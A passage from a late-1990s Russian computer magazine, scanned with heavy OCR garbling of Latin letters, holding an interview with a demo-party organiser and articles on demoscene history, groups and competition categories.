интересно и кто разбирается в вопросе - как 
правило это какая-либо демо-группа. Необхо- 
димо желание, терпение, способность реали- 
зовывать задуманное обращая минимальное 
внимание на оценки окружающих. Вопрос с 
деньгами и спонсорством - очень сложный 
вопрос. Лучше всего он решается в сканди- 
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навских странах (где, кстати говоря, бетотак- 
іпд наиболее популярен). Но и там есть проб- 
лемы. В России (а точнее Союзе) дело со спон- 
сорством обстоит очень плохо. Думаю, причи- 
ны этого понятны - нет лишних денег. Поддер- 
жкой пользуются проекты, позволяющие ухо- 
дить от налогов, просьбы помочь “по знаком- 
ству”. Важная проблема здесь - недоверие 
тех, кто располагает денежными ресурсами к 
организаторами сіето раііу. Боятся договари- 
ваться о сомнительных финансовых операциях. 
В целом, средства, необходимые на нормаль- 
ное проведение бето раПу в России, изме- 
ряются тысячами $$. 

Х> Кстати, насчет скандинавских стран. Я 
знаю, ты недавно ездил на А88ЕМВІ_Ѵ’99. Как 
впечатления, чем они, кроме спонсоров, круче 
отечественных демщиков? ;) 

СВ> Ничем. Серьезно. Я подробно писал об 
этом в журнале ІИРІІ8Е0 ВѴТЕ8 
(Іійр://ѵѵѵѵѵѵ.епІідІіІги/іЬ). Если говорить кратко - 
сама организация у них практически идеальна. И 
это понятно - АззетЫу проводится уже около 6 
лет, кроме того в Финляндии благополучная об- 
становка в плане финансов и относительная дос- 
тупность хорошей аппаратуры. Однако организа- 
ция это не все. Кроме организации есть то, ради 
чего устраивается бето раііу - это работы, 
представленные на конкурсы, общение людей, 
приехавших на раііу. На мой взгляд, уровень ра- 
бот конкретно на АззетЫу’99 в категориях бето 
и іпіго чрезвычайно низкий. Ощущение, что лю- 
ди не в состоянии придумать ничего нового, 
только улучшать и оптимизировать старые 
эффекты. Самое смешное, что ведь в реальнос- 
ти это не так - могут придумать. Ведь выходят 
видеоклипы, фильмы, где появляются неплохие 
идеи, во всяком случае бывает сюжет. Может 
быть нет стимула для переноса всего этого в 
демки... Затрудняюсь назвать точную причину, 
но факт констатирую. В Союзе (ех-СССР) с этим 
было лучше. Почему было - потому что из-за не- 
достатка бето раііу демо-сцена развивается у 
нас очень медленно. Мало команд, которые что- 
то реально делают. Появились люди, призываю- 
щие “догонять буржуев”. Это как в юмористичес- 
ком рассказе про водителя грузовика, который 
пытался уступить дорогу старушке, а та все вре- 
мя норовила попасть под его машину :). Все как 
в обычной жизни - кому-то хочется сюжета и 
идей, а кому-то чтобы бублик побыстрее вра- 
щался. Я был на СІтаоз Сопзігисііоп ’ 99 бето 
раііу (прошла в августе этого года, в Санкт-Пе- 





тербурге ИНр://ѵѵѵѵѵѵ.сІпао5і1е.сот/соп5Ігис1іоп5) - 
мне понравилась пара работ, представленных в 
номинациях 7Х 8рес1шт бето и іпіго. Потенциал 
есть, безусловно. 

Х> Бублики - это да. Бывало, как раскрутишь 
и люб... ну да ладно, что это я... Как ты оце- 
ниваешь современное положение дел на сце- 
не? Большая часть моих компьютерно-ориен- 
тированных знакомых, например, и слыхом не 
слыхивало о всяких там ЕпІідМ’ах и Конструк- 
циях Хаоса... 

СВ> Все правильно, сами бето раііу - вещь 
на любителя. О них и на Западе толком никто не 
слыхал, кроме самих организаторов и фанатов. 
Сами демки - другое дело. Их пишут именно 
для всех. Ну так ведь их многие видят, к приме- 
ру, на компьютерных выставках (и неважно, что 
не знают названий). Другими словами - знание 
или незнание о проводимых бето раііу - не ес- 
ть показатель состояния бето зсепе в стране. 

Х> Ну тогда вернемся к нашим... ммм... дем- 
щикам ;). Кому вообще пришла в голову идея 
провести первый ЕпІідМ? И как оно, собствен- 
но, было? Все-таки первый блин... Кстати, 
ЕпІідМ - это первая российская бето раііу? 

СВ> Идея провести именно ЕІМиСНТ 
(ИНр://ѵѵѵѵѵѵ.епІідИ1.ги/) пришла мне, хотя не ви- 
жу в этом какой-то своей заслуги - за бугром 
бето раііу проводились и раньше. Что до Рос- 
сии (и Союза вообще), то да - здесь это была 
первая бето раііу. Первый блин... Я бы охарак- 
теризовал ЕШСНТ’95 как “нормально для пер- 
вого раза”. Думаю, что не сильно ошибусь, ес- 
ли скажу, что это было общее мнение. Недос- 
татки были - очень печально, что помещение, 
которое мы планировали использовать, приш- 
лось заменить на другое, более скромное. В 
общем, большинство проблем носило “непрео- 
долимый характер”, однако хватало и наших 
собственных глупостей.. 

Х> Какие ЕШСНТ’овские демы тебе больше 
всего запомнились? 

СВ> СІіІсЬ Ьу ОМС 

(Ир://Ир.бето.саІ.Ііи/5сепе/ОЕМО.’95/ЕпІідІіІ.’9 

5/бето/дІіІсЬ.2Ір), 

НеІІігег Ьу ОМС 

(Йр://Йр.бето.саІ.Ьи/зсепе/ОЕМО.’96/ЕпІідЫ.’9 

б/ЭЕМО/ІіеІІігег.гір), 

ИозІегаШ Ьу ІЧерЬіІітз 



(Ир://Ир.бето.саІ.Ьи/зсепе/ОЕМО.’96/ЕпІідЫ.’9 

б/ОЕМО/позГ.ар). 

Все три - действительно хорошие работы для 
своего времени (их и сейчас смотреть интерес- 
но). Особенно я бы отметил ИозІегаШ. 

Х> 0, ну раз два раза подряд упомянул ОМС, 
напрашивается и другой вопрос: какие рос- 
сийские демо-группы ты считаешь наиболее 
крутыми? В смысле группы, которые дей- 
ствуют и сейчас. 

СВ> ОМС (Оиеие МетЬегз Сгоир, Самара), к 
сожалению, приказала долго жить. Может 
формально они еще и существуют, но никаких 
признаков жизни я давно с их стороны не наб- 
людал. С ІМерЬіІітз (Украина) тоже как-то 
неясно. Из современных - я не могу вспом- 
нить ни одной группы на РС, продукция кото- 
рых меня бы приятно удивила. Это мое личное 
мнение, впрочем. 

Х> А из забугорных? 

СВ> С забугорными я плохо знаком (не зани- 
маюсь целенаправленным просмотром выходя- 
щих демок). У Мотаб’а было что-то приятное. 
Из наших еще отмечу (на 7Х 8рес1шт) интро 
С2Н50Н Ьу 8ЕВ2Н 8оП (с СС’99). Очень хоро- 
шая вещь. 

Х> Нда, беспристрастный СобеВіррег... ;) А 
вообще какие писишные демки по-твоему ав- 
томатически попадают в разряд А МІІ8Т 8ЕЕ? 
Ну как 8есопб Веаіііу 

(Йр://Ир.бето.саІ.Ьи/зсепе/ОЕМО.’93/А55етЫу 
.’93/бето/2пб геаі.гір), например. 

СВ> Мне такие неизвестны :). Опять же - я мог 
что-то упустить, но работ, о которых бы “гово- 
рили” среди современных - нет. 8есопсІ Веаіііу 
- явление своего времени.. Сюжета нет, хотя 
есть несколько красивых идей. Великолепная 
музыка, очень здорово синхронизированная с 
действием. Повтор уже не пройдет.. 

Х> Не только среди современных. Вообще за 
всю историю рс бето зсепе. 

СВ> Если за всю историю, то НеагШиаке 
/Ідиапа 

(Ир://Ир.бето.саІ.Ьи/зсепе/ОЕМО.’94/А5зетЫу 
.’94/бето/ЬеагІд.2Ір), АтЬіепсе /Тгап 
(Йр://Ир.сбгот.сот/риЬ/бетоз/бетоз/1 994/а/а 
тЬіепсе.гір), Рарег (Ир:/Д1р.зсепе.огд/риЬ/раг- 
Ііез/1996/ѵѵігеб96/іп64/рарег.2ір), Расіз оі ІЛе. 
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Еще было много работ, но они были хороши в 
свое время - сейчас народу будет трудно да- 
же объяснить, чем они интересны :). На Атіда 
было много хороших бето. Например, Зіаіе 
ОТ АіІз/ЗрасеВаІІз, ѴігШаІ йгеатз /РаігІідМ, 
ТесІіпоІодісаІ ОеаШ /Маб ЕІкз. Там бегло чаще 
претендуют на “вечные ценности”. 

Х> Ты говорил, что народ пишет демы отчасти 
и из-за того, чтобы засветиться на рынке ком- 
пьютерной графики и продаться соответствую- 
щим конторам. Часто бывают такие случаи “пе- 
ретекания” кодеров в графический бизнес? 

СВ> Часто. “У них” это вообще чрезвычайно 
распространенное явление. Характерный при- 
мер - на Азт’99 Ветебу/РиШгетагк проводи- 
ла бесплатный семинар с заполнением анкет. В 
процессе их представители наблюдали за тем, 
какие вопросы задают посетители, как реаги- 
руют на те или иные замечания... По сути - от- 



кровенно подбирали себе кадры. У нас - такое 
тоже встречается. Мне известны примеры. Лю- 
ди уходят писать игрушки для иностранных 
фирм. И не возвращаются (я имею ввиду - в 
бетотакіпд, а часто и в Россию). Обычно эти 
люди потеряны. Как для страны вообще, так и 
для бетотакіпд ’а в частности. Соблазн хоро- 
шо зарабатывать слишком велик. 

Х> Кстати, что ты думаешь по поводу повсе- 
местной моды использования в демах графи- 
ческих библиотек вроде ОрепСІ_ или ОігесІХ? 
Как это сказывается на результате? И не пропа- 
дает ли изначальная идея соревнования коде- 
ров в мастерстве? 

СВ> Думаю, что проблема “бегло Тог ѴѴіпбоѵѵз, 
Тог Ібпих, Тог баѵа” и т.д. и т.п. надумана. В дей- 
ствительности ее не существует. Ясно, откуда 
растут уши противников такого подхода (изви- 




ни за каламбур :)) - программирование под 
ѴѴіпбоѵѵз, мягко говоря, всегда считалось не са- 
мым высококлассным занятием для демомей- 
керов. Нам битики бы попереставлять... :). Ес- 
ли говорить серьезно, в бегло самое важное - 
идеи и сюжет. Код, безусловно, занимает НЕ 
первое место. В іпіго, особенно 4к, 51 2Ьу1ез - 
да, код важен. Но там ведь и не пишут для 
ОрепСІ_. Все эти разговоры - одно из след- 
ствий всеобщего увлечения 36 эффектами, 
“кодингом ради кодинга”. На одном из сайтов 
(.ш), посвященных демкам, я видел даже опре- 
деление: “Демо - Зй видеоролик”. Можно, ко- 
нечно, смеяться, но ведь люди, которые впер- 
вые прочтут там о демках, подумают, что так и 
есть на самом деле. А то, что они увидят вок- 
руг, лишь подтвердит это ошибочное мнение. 
Одно из изначальных назначений бегло - де- 
монстрация твоих и компьютерных возмож- 
ностей максимальному числу людей, вступает 
в противоречие с попытками ограничить рас- 
пространение бето 003 платформой. Не лю- 
ди должны ориентироваться на требования ав- 
торов демок. Наоборот - демки должны рабо- 
тать на наиболее распространенных конфигу- 
рациях железа. 

Х> Слушай, насчет переставления битиков, 
ведь для того чтобы написать демку, исполь- 
зующую пару-тройку хороших эффектов, на- 
до по сути быть семи пядей во лбу. Извра- 
щенные алгоритмы, жуткая оптимизация, ку- 
ча всяческих мелочей. Откуда люди черпают 
информацию об этом всем. Или все кодеры 
поголовно - выпускники Калифорнийского 
Технологического? 

СВ> Я уже сказал - в бето не обязательно 
должны быть технически сложные эффекты. 
Важно впечатление, которое производит бето 
на неподготовленного зрителя. Какой-нибудь 
смешно пляшущий человечек свободно может 
выиграть первое место оставив далеко позади 
38 вращающихся в туннеле бубликов. Такие 
случаи неоднократно бывали. Мне могут возра- 
зить: “В чем же тогда отличие демо от анима- 
ции, сделанной в Збз, Мауа, Тшезрасе?”. Отве- 
чу - разница в ограничениях на размер. На со- 
вершенно любой бето рагТу эти ограничения 
очень строги - бето, к примеру, должно укла- 
дываться в 4МВ дискового пространства. И ес- 
ли кто-то захочет сделать ролик в ЗйЗ на 4МВ, 
пожалуйста. Чрезвычайно сомнительно, что он 
сможет занять призовое место... Что же ка- 
сается именно сложных алгоритмов, есть два 
пути - правильный и неправильный. Правиль- 
ный путь состоит в изучении математики, прог- 
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раммирования, просмотре клипов, фильмов, 
явлений природы, наконец. И постепенных по- 
пытках реализовать придуманное или увиден- 
ное. Неправильный (и очень распространен- 
ный) путь состоит в скачивании с Йр/ѵѵѵѵѵѵ ис- 
ходников готовых бето/іпіго и их модификация 
(либо разработка собственных, по аналогии). В 
стародавние времена не было хороших средств 
связи и обмена опытом. Не было доступного 
Интернета. Исходные тексты не распространя- 
лись, идеями делились мало. Это играло почти 
исключительно положительную роль - каждый 
придумывал сам и получалось оригинально. 

Х> Ну вот, типичный ОІсІЗкооІ ;). 

СВ> Я просто излагаю факты... 



Так было пару лет назад. Возраст тех, кто пи- 
шет демки, больше возраста тех, кто их смот- 
рит. Может быть, на 3-5 лет. Что касается 
Соттосіоге Атіда, то эта часть сцены у нас 
представлена очень слабо. За исключением 
самой первой цифры это все приблизитель- 
ные оценки, серьезно их воспринимать не 
нужно. Все что я сказал, касается России и 
Союза, на Западе может быть иное соотноше- 
ние, и в целом народ помоложе, судя по 
Азт’99. К примеру, ситуация, когда родители 
таскают за ребенком компьютеры по рагіу, 
была там очень характерной. У нас я такое мо- 
гу представить с трудом. 

Х> Кстати, а что случилось с ЕШіСНТ’97? И бу- 
дет ли Емиент’2000? 



зывались (и правильно). Один раз пришлось 
отказаться из-за слишком сильных различий во 
взглядах на смысл и способы проведения бегло 
рагіу. Насчет 2000 года вопрос на данный мо- 
мент остается открытым. Вполне допускаю, что 
на выставке Инвеком’99 этот вопрос в какой-то 
степени прояснится. 

Х> И возвращаясь к вопросу о современной рс 
бегло зсепе. “Ты жива еще моя старушка?”. А то 
тебя послушать, так Рарег іпіго была послед- 
ним ее оплотом. ;) 

СВ> Жива, конечно. То, что мне лично не нра- 
вятся тенденции в ее развитии, говорит только 
обо мне, сцена от этого мертвее не становится. 
Просто она теперь очень специфична. Но сце- 
на есть - демки по-прежнему регулярно выхо- 




технически сложные эффекты. Важно 
впечатление, которое производит 
гіето на неподготовленного зрителя. 



Х> Продолжая тему “СобеВіррег’з Іор-100”, 
какие российские бегло раііу ты считаешь наи- 
более удачными (и в плане организации и от- 
носительно уровня работ участников)? 

СВ> Относительно уровня работ - ЕШСНТ’Эб 
(легко хвалиться, тогда других бегло рагіу в 
России просто-напросто не было :)). Что ка- 
сается организации, то тут очень сложный воп- 
рос. Однозначно не ЕШіСНТ, но назвать я зат- 
рудняюсь. СИаоз Сопзігисііоп’99 мне понрави- 
лась “духом”. 

Х> Каков средний возраст демщиков? 

СВ> Скажем, на ЕШСНТ’97 средний возраст 
всех посетителей был 19.8 лет. В целом, воз- 
раст РС сценеров выше - 19-24. Возраст 7Х 
Зресігит сценеров ниже - вероятно, 17-19. 



СВ> Хороший вопрос... Мне его задают 1-3 
раза в месяц :). Первый день ЕШСНТ’97 (на 
котором по графику шли 7Х Зресігит и Атіда 
конкурсы) прошел полностью, второй был нами 
отменен. Причина - невозможность контроли- 
ровать ситуацию (недооценка числа посетите- 
лей примерно в 2 раза, отсутствие профессио- 
нальных зесигііу, ряд весьма неприятных инци- 
дентов). В целом - низкий уровень организа- 
ции, обусловленный полным отсутствием како- 
го-либо финансирования (за исключением ап- 
паратуры). После этого нами было принято ре- 
шение (по моей инициативе, как руководителя) 
более не проводить ЕШСНТ до тех пор, пока 
не появится действительно серьезный спон- 
сор. Как можно видеть - в 97, 98, 99 годах его 
не было. Мне поступало несколько предложе- 
ний, но, к сожалению, люди не представляли, 
во что ввязываются, и после объяснений отка- 



дят, проводится много бегло рагТу, в том числе 
в России только с августа прошли: СС’99 (Сан- 
кт-Петербург), Рагабох’99 (Ростов- на- Дону), 
СаТе’99 (Казань). По-моему “слухи о смерти 
сильно преувеличены” :). 

Х> Понятно. Ну а теперь можешь сказать свое 
последнее слово нашим читателям. ;) 



СВ> Не слушай то, что тебе говорят “авторите- 
ты”. Меня в том числе не слушай. Прочесть 
прочел, а делай по-своему - как тебе больше 
нравится. Пусть ты 10 раз ошибешься, но это 
привнесет на демо сцену намного больше но- 
визны, чем десятикратный повтор уже сде- 



ланного другими.. 



С Сосіе Реерег’ом общался Оап 
Оаге (багШхакер.ги) 
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есть и Будет есть 



давным-давно, в далекой-далекой... 



Давным-давно, лет тысячу назад или и того больше, 
люди жили не в Интернете, а дома, по утрам ходили на 
работу, целовались в подъездах, рожали детей, сдава- 
ли с первого раза экзамены, короче - влачили свое 
жалкое существование. Но уже в то темное время были 
прогрессивные товарищи, которые понимали, что боль- 
ше так жить нельзя. И называли себя программистами. 
Это сейчас есть всякие там сисадмины, дизайнеры и 
прочие инвалиды интеллектуального труда. Тогда же 
все было просто: если тебе выделяли в день пару часов 
машинного времени, значит ты программист. Хотя, на- 
до сказать, что программисты в то время тоже были 
разные: одни программировали на АЗМ’е, другие на 
Ргіпсе оі Регзіа, а некоторые так вообще на жутком язы- 
ке “Лексикон”. И вот вечером, когда лексиконовские 
программисты отправлялись рожать детей и целовать- 
ся в подъездах, первые два подвида садились за осво- 
бодившиеся машины и продолжали заниматься своим 
темным делом. К часу же ночи на боевом посту оста- 
вались только доблестные труженики асма и дебагге- 
ра. А как ты хорошо знаешь, в любой компании, увле- 
ченной одним и тем же делом, всегда рано или поз- 
дно встает вопрос: “А у кого, собственно, длиннее 
член?”. (Здесь Дэн на минуту задумался: исправить 
ли слова “встает вопрос” или и так сойдет? :)) Но не 
суть, главное, что люди начали спорить, кто из них са- 
мый крутой кодер. 



Итак, пиплы стали сильно нуждаться в способе провер- 
ки собственной неимоверной крутизны. Можно было, 
конечно, определять победителя по числу дырочек в 
перфокартах, но, к счастью, был выбран несколько дру- 
гой путь. Сам понимаешь, в то время РС занимал по- 
четное первое место среди отстоев по части компью- 
терной графики. Ну народ и решил, что если чел может 
закодить какой-нибудь крутой графический эффект на 
персоналке, то он и есть самый... в общем, самый-са- 
мый перец. Раз в два месяца ребята собирались в вы- 
числительном центре, где за пивом смотрели работы и 
выбирали победителя. Эти тусовки и положили, соб- 
ственно, начало писишной сцене. Надо сказать, что 
демки для других платформ кодили еще задолго до 
появления Принца Персии. Машинки Соттосіоге 64 и 
Атіда обладали гораздо более крутыми графическими 
и звуковыми возможностями, чем РС, а потому естес- 
твенно, что они были главными актерами на тогдашней 
демо-сцене. Причем на этих платформах демки уже 
давно перешли из разряда линейки для кодерских чле- 
нов в разряд настоящих произведений искусства. Появ- 
ление ВВЗ-ок и ГГИ-сетей дало очень сильный толчок 
развитию демо-сцены. Так, почти у каждой ВВЗ-ки бы- 
ла своя собственная маленькая демка, размером до 
4КЬ (интра), а в компьютерных сетках стали появляться 
тематические конференции, посвященные программи- 
рованию дем. 



ушел играть в подземный переход на губной гармошке. 
Поэтому народ тихой сапой стал объединяться в коман- 
ды со стильными названиями вроде Рзусіііс І_іпк или 
Маігіх. Так появились первые демо-группы. Вот стан- 
дартный состав такой группы: 

- Кодер (сосіег): программер, занимающийся написа- 
нием кода демки. Большие демы писались на Си с ас- 
семблерными вставками. В основном на асме кодились 
системные функции (вставка пиксела, синхронизация и 
т.д.) и участки демы, особо требовательные к ресурсам 
компьютера. Интры же полностью писались на асме. 

- Художник (дгарііісіап): человек, занимающейся всей 
статичной 20-графикой демы. Помимо шрифтов, ло- 
готипов, текстур и прочей мелочи, художнику частень- 
ко приходилось рисовать полноценные киберпанков- 
ские имаджи. 

Дело в том, что до года 96-97 в демках было модно по- 
казывать заставки в промежутках между различными 
графическими эффектами. Моду эту положила извес- 
тная группа Риіиге Сгеѵѵ. Кстати, ІМНО заставки показы- 
вались не в целях получения эстетического удоволь- 
ствия, а для того, чтобы просчитать в это время какой- 
нибудь сложный эффект. Ты, например, любуешься го- 
лой теткой с виртуальным шлемом, а комп рассчиты- 
вает координаты морфящегося объекта. 



Ху из ит? 



Кстати, насчет значения слова кодер. Сейчас многие 
считают, что кодер - это чел, который круто рубит 
лишь в архитектуре машины и специфичном языке 
программирования для нее, а во всем остальном он 
полное чмо и недоношенный имбицил. Так вот, прия- 
тель, это все полное дерьмо! Кодер - это ого! Кодер - 
это огогого!!! Почти каждый из них круто сечет фишку 
еще и в алгоритмизации, дискретной математике, ме- 
тодах оптимизации и хрен еще знает в чем. Бывает, 
правда, что кодер и не догадывается, как называются 
дисциплины, которые он знает в совершенстве, но это 
уже дело десятое. 



А тем временем... 



Тем временем персоналки стали приобретать офиги- 
тельную популярность, появлялись всяческие саунд- 
бластеры и ульра-саунды, частота процов измерялась 
уже в десятках мегагерц, а видеокарточки поддержива- 
ли реальные разрешения и цветовую глубину. В демах 
стала доступна полноценная музыка и графика, а число 
эффектов в каждой работе доходило уже до 1 0- 1 2. Что- 
бы сделать классную демку, необходимо было быть ге- 
нием в математике, программировании, теории опти- 
мизации, уметь рисовать черные квадраты не хуже Ма- 
левича и сочинять такую трекерную музыку, чтобы пос- 
ле ее прослушивания Грув отрастил длинный хаир и 



- Музыкант (тизісіап): ясен пень, что это черт, который 
пишет музыку для демы. Кстати, очень многое зависит 
от совместной работы кодера и мьюзишана: все дей- 
ствие демы должно быть жестко привязано к музыке. 
На практике всегда побеждали демы пусть даже не с 
очень крутой графикой, но с реальным саунд-треком. 
Самый яркий пример: всем известная ЗесопсІ Реаіііу 
или Тесісіу Веаг. 

Часто бывает, что в команде несколько человек зани- 
маются одним и тем же делом. Например, в группе мо- 
жет быть несколько кодеров, каждый из которых пишет 
офигительно крутой эффект. Иногда бывает и так, что 
несколько групп объединяют свои усилия, дабы зарели- 
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зить хорошую дему на предстоящую крутую пати. 
Среди самых известных мировых групп можно выде- 



МаСгіх 

ТЬе ВІаск І_оШз (ТВІ_) 
Котріех 

Из российских групп: 

□еер, Оеер Т гоиЫе ЕпС 
(Зиеие МетЬегз СЗгоир 
Т-Рех 

ВуСеРаІІ Бгоир 



Периодически какая-либо из групп устраивала так на- 
зываемую демо-пати, где демщики и просто зрители 
вливали в себя известное количество пива, дарили друг 
другу футболки с надписями типа “Каждый сэкономлен- 
ный байт - наш вклад в дело мира!”, а в оставшееся 
время занимались, собственно, просмотром работ 
участников. После нескольких раз проведения какой- 
либо пати она становилась широко известной в миро- 
вой демо-тусовке. Многие группы стали релизить де- 
мы уже не просто так, а на какую-либо конкретную де- 
мо-пати. Обязательным атрибутом любой работы ста- 
ло приветствие всех участников и вообще дружес- 
твенных групп. 

В России самыми известными демо-пати являются 
ЕЫЫ6КТ (Санкт-Петербург 95,96,97 ѵѵш.епІідМ.ги) и 
ВѴГЕРАІІ (Москва 96,97,98/99 ѵѵш.Мд.огд). Из миро- 
вых пати культовыми можно назвать А83ЕМВІ.Ѵ (Фин- 
ляндия 92-99 ѵѵш.аззетЫу.огд) и ТНЕ САТНЕПІМС 
(Норвегия 91 -99). 

Критерии, и как с ними бороться 



На любой демо-пати обычно проводится просмотр ра- 
бот по следующим видам компьютерного искусства: 

- Оето: ну еще бы, а ты думал на демо-пати будут в 
первую очередь просматривать альтернативные карти- 
ны серийных убийц и ассенизаторов-извращенцев? 
Сюда входят работы, занимающие более 64КЬ и поме- 
щающиеся на винте. Иногда, правда, выделяют поня- 
тие “мега-демо”, то есть демку, которая на винт ну ни- 
как не помещается. 

- 64КЬ іпіго: интра, размер которой не должен превы- 
шать 64 килобайта. Кстати, именно в этой категории 
почти всегда и попадаются самые обалденные вещи. 
Для народа вообще стало делом чести кодить вещи, 
посмотрев которые можно лишь поднять челюсть с по- 
ла, бережно ее протереть и выдавить из себя фразу ти- 
па “Такого не бывает!” Ты когда-нибудь видел ІІпгеаІ в 
64 килобайтах, который не тормозит на сотом пне? И, 
на самом деле, это не такой уж и жуткий изврат - бы- 



вает круче, я, например, долго не мог прийти в себя 
после просмотра демки, использовавшей довольно 
сносный рейтрейсинг (или делавшей вид, что она его 
использует) и выводившей около 10 кадров в секунду. 
До этого я видел, как подобные изображения просчи- 
тывались со скоростью 1 кадр в минут эдак двадцать. 
На самом деле эту черту (кодить вещи, которые прин- 
ципиально невозможно делать на данной машине) РС- 
шные демщики приобрели еще со времен 2Х. Я вооб- 
ще не знаю, как нужно называть людей, которые, юзая 
только 8 цветов и процессор 280 (твой калькулятор 
считает быстрее), могли писать программы, исполь- 
зующие 30-графику с динамическим освещением. 

- 4КЬ іпіго: соответственно интра, размер которой не 
должен превышать 4 килобайта. Мне, на самом деле, 
всегда бывает лень смотреть работы из этой катего- 
рии, потому что в 4 кила редко удается запихнуть что- 
нибудь стоящее. Обычно это - один или два стандар- 
тных эффекта, логотип группы да куча приветствий. 
Просто изначально 4-х килобайтные интры были рек- 
ламами ББС-ок да крекерских групп типа СІазз’а, 
поэтому сей жанр и попал в меню почти каждой де- 
мо-пати. 

- баѵа бето: демы, созданные на яве, эта фишка поя- 
вилась сравнительно недавно. 

- 30-АссеІегаІеб бегло: демки, использующие 30-ак- 
селерацию. Здесь уже основной упор ставится на 
сюжет, музыку и новые идеи, поскольку монстровое 
текстурирование - оно и в Африке монстровое тек- 
стурирование. 

- гауігасеб аб: эта тема выделяется из общего разде- 
ла гепбегеб аб, поскольку здесь используется доволь- 
но специфичный метод с названием гауігасіпд - это 
алгоритм построения высокореалистичных компью- 
терных изображений (подробнее в статье о техноло- 
гиях демо-мейкинга). 

- гепбегеб аб: изображения, отрендеренные при по- 
мощи какого-либо пакета работы с 30-графикой типа 
30 МАХ или Мауа. 

- ріхеіеб дгарііісз: 20 изображения, созданные при 
помощи компьютера. Хотя сейчас эта тема встречает- 
ся относительно редко - уступила место гауігасеб и 
гепбегеб аб. 

- 4сИаппеІ, тиШсІіаппеІ, трЗ-тизіс: музыка в различ- 
ных форматах. 

- апітаііоп: чистая анимация, мультики то есть. 

- демки, интры, музыка и графика для платформы 
Атіда. 
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В нашей стране демщики, вероятно, никогда не вый- 
дут из стройных рядов киберпанковского андеграунда. 
Демо-пати организовываются исключительно на сред- 
ства участников и проводятся в актовых залах школ 
или институтов, в которых имеют счастье обучаться 
организаторы. Сытые буржуи же понимают, что такой 
концентрации высококлассных специалистов в ком- 
пьютерной графике и электронной музыке не найти 
больше нигде, а потому на них стоит делать крутые 
бабки. Что они, собственно, и делают, наперебой за- 
писываясь в очередь для спонсоров. Так что на многих 
мировых демо-пати призовой фонд насчитывает не 
одну тысячу зеленых баказоидов. Ну что ж, радует 
лишь то, что Россия - последний оплот компьютерно- 
го андеграунда. 

РС никогда не отличался высокими графическими или 
звуковыми возможностями, именно поэтому демо- 
сцена исторически и возникла совершенно на других 
платформах. Однако благодаря МісгозоЙ и Іпіеі совре- 
менная вычислительная мощность железного друга 
достигла достаточно крутых показателей. К тому же 
наш новый бог, корпорация ЗОІх Іпіегасііѵе, внесла 
свою скромную лепту в становление общедоступной 
компьютерной графики. Так что теперь подавляющее 
большинство дем для РС ориентировано на векторную 
трехмерную графику. Это, кстати, сильно отличает РС 
демо-сцену от той же Амиги, где основной упор делал- 
ся на дизайн, анимацию и всяческие 20-художества. С 
другой стороны, такое массовое увлечение трехмер- 
ностью, сделало сцену довольно популярной (во вся- 
ком случае у буржуев). Так, например, на некоторых 
финских демо-пати количество участников достигает 
многих тысяч человек. Однако такое широкое распрос- 
транение демо-культуры довольно хреново отразилось 
на качестве дем. Посуди сам: когда не было Инета, 
ББС-ок, ЕШ-сетей и прочих средств удаленных теле- 
коммуникаций, народ сидел один на один с компом и 
кодил шедевры. Теперь же для того чтобы получить 
подробную информацию и исходные тексты любых 
графических эффектов, достаточно лишь набрать в 
пирче \о\п #собегз. После просмотра некоторых демок 
частенько возникает дежавю: типа точно такие же 
фишки я видел неделю назад. Такое ощущение, что 
народ просто скачивает сорсы эффектов, объединяет 
их в одну прогу, изменяет пару-тройку параметров и 
уже через час релизит дему. Поэтому создать что-ли- 
бо достойное призовых мест на сегодняшней сцене - 
крайне сложное дело. Нужны действительно новые 
идеи и фишки, а не две тысячи сто тридцать пятая де- 
монстрация вращающихся кубиков... 



Ну вот и все, 
привет родным, 
веселого кодинга, 
остановим ядерные испытания! 





Бесплатная пейджинговая и почтовая служба! 

Отправка сообщений на ІСО, пейджеры и сотовые телефоны всего мира! 
Никаких девушек - операторов! Никакой цензуры! 

Выбор времени, даты и числа повторов сообщений до 2005 года! 
Виртуальная записная книжка и органайзер! 

Бесплатный е-таіі ( ваше_имя@зеп<±ш ) для получения почты на пейджер 

или оповещения о получении ! 

Переадресация электронной почты на ІСО, пейджер, 
сотовый телефон и наоборот! 

Подписка на получение анекдотов, тостов, розыгрышей, новостей! 
Прекрасное взаимодействие с бесплатными почтовыми службами! 
Информация о новых ценах и услугах выбранного оператора! 
Сотовая барахолка, каталоги сотовых телефонов и пейджеров! 
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Каак зато было даавнооо (с) ЧайФ 

..и вот сидишь ты сейчас за свежеп- 
роапгрейденным Р-3, опротив сем- 
надцатидюймового монитора, слу- 
шаешь квадро-саунд из четырех коло- 
нок (или, в худшем случае, шестнадца- 
тибитный саунд из двух колонок)... Что, думаешь, люди 
так всегда жили? Ни хрена собачьего. Это только за пос- 
ледние несколько лет компы реально так раскрутились, 
а что было до наших дней - прикинуть страшно. И уж тем 
более, если говорить, что называется, в тему - а тема 
номера, как ты уже врубился - демо-сцена - так вот, ес- 
ли в тему говорить, то сейчас на таких компах, как твой, 
демки делать и впрямь несложно. И информации об 
этом надыбать вполне можно, и ресурсов полон Инет, и 
вообще, жить, как говорится, хорошо. Но ведь десять 
лет назад люди тоже как-то ж или! И демо-сцена уже 
была. И демки уже, естественно, тоже на чем-то делали. 
На чем? Хе, ну ты спросил. Слушай сюда. 





В то время это был большой скачок вперед! Графичес- 
кий 16- цветный (ЙЕС!) дисплей с разрешением 
320x200 и цветной текстовый режим принесли в этом 
мир не только первые шедевры АИЗІ искусства, но даже 
и графическую анимацию. 




Никогда 

Компьютеры никогда не были “чиста (как любят гово- 
рить новые русские) вычислителями”. Даже в те неза- 
нятные времена каменного лампового века находились 
люди, которые вытворяли с компами непостижимые 
трюки. Рисовали перфоратором (компьютерным, а не 
реальным нейлганом, чтоб ты не подумал плохо) пор- 
трет Моны Лизы в натуральную величину, устраивали из 
индикаторов “бегущие огни”, а на процессоре первой 
отечественной БЭСМ-1... играли “Семь сорок” (да, тог- 
да еще не было никаких звуковых карт, но выполнение 
инструкций проца сопровождалось писком разных то- 
нальностей - комбинируя выполняемые команды в опре- 
деленной последовательности, было можно добиться 
приемлемого звучания). Но все это делалось только под 
покровом темноты - в ночные смены, в строжайшей тай- 
не от начальства, которому было наплевать на искус- 
ство, а подать сюда отчет о загрузке машинного време- 
ни. Так что реально демо-сцена никогда бы не раскрути- 
лась до сегодняшних масштабов, если бы не появление 
ДЕЙСТВИТЕЛЬНО ПЕРСОНАЛЬНЫХ компов, которые 
полностью принадлежали их владельцам. 



Соттосіоге 64 

В 1987 году появился первый настоящий персональный 
компьютер Соттосіоге 64 (сейчас ушедший в историю 
